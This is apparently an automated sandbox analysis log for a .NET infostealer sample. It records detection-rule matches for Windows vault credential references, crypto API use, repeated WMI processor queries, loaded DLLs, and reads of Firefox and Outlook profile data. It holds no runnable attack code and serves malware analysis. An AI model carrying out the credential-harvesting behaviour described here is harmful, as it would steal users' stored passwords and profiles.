Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Code function: 0_2_0673A240	0_2_0673A240
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Code function: 0_2_067392E3	0_2_067392E3
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Code function: 0_2_06730040	0_2_06730040
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Code function: 0_2_0673E0D8	0_2_0673E0D8
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Code function: 0_2_06735758	0_2_06735758
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Code function: 0_2_06733DA7	0_2_06733DA7

Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4106900686.000000000159E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe
Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000000.1661435807.0000000001020000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilename93206442-328e-4793-9eb2-22117442bc41.exe4 vs 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe
Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4106713875.00000000011B8000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe
Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Binary or memory string: OriginalFilename93206442-328e-4793-9eb2-22117442bc41.exe4 vs 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.0.1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe.fe0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, cPs8D.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 72CF8egH.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, G5CXsdn.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 3uPsILA6U.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 6oQOw74dfIt.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, aMIWm.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformBlock'
Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 3QjbQ514BDx.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 3QjbQ514BDx.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Binary string: ID: 0x{0:X}qSize of the SerializedPropertyStore is less than 8 ({0})/StoreSize: {0} (0x{0X})3\Device\LanmanRedirector\[Failed to retrieve system handle information.H%o

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@2/1

Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Mutant created: NULL

Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
